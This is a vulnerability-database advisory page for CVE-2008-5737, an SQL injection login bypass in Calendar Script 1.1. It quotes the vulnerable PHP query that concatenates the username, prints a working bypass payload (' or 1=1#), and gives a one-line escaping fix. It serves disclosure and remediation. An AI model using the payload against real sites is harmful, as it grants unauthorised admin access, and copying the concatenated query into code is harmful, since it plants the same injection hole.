Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
Calendar Script 1.1 (Auth Bypass) SQL Injection Vulnerability
2008.12.30
Credit:
athos
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2008-5737
CWE:
CWE-89
Ogólna skala CVSS:
7.5/10
Znaczenie:
6.4/10
Łatwość wykorzystania:
10/10
Wymagany dostęp:
Zdalny
Złożoność ataku:
Niska
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Częściowy
Wpływ na integralność:
Częściowy
Wpływ na dostępność:
Częściowy
----------------------------------------------------- Calendar Script v1.1 Admin Login Bypass Vulnerability ----------------------------------------------------- by athos - staker[at]hotmail[dot]it http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1 File Vuln "index.php" (code details) ------------------------------------------------------------ 4. $action = $_POST['action']; 5. 6. switch($action) { 7. case 'login': 8. // login 9. $username = stripslashes(trim($_POST['username'])); 10. $password = sha1(stripslashes(trim($_POST['password']))); 11. 12. if(empty($username) || empty($password)) { 13. // Stop, someone tried entering nothing into here 14. // Show an error. 15. $loginMsg = 'You must enter a username and password'; 16. } else { 17. // The input seems to be ok, check it against the database. 18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND password='$password' LIMIT 1", $conn); ------------------------------------------------------------ Exploit http://[host]/[path]/index.php (Login) Username: ' or 1=1# & Password: anything ------------------------------------------------------------ Fix: $username = mysql_real_escape_string($_POST['username']); Note: works regardless php.ini settings (str0ke =D) don't add me on msn messenger ------------------------------------------------------------
Referencje:
http://xforce.iss.net/xforce/xfdb/47544
http://www.securityfocus.com/bid/32978
http://www.milw0rm.com/exploits/7551
http://secunia.com/advisories/33266
http://osvdb.org/50892
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top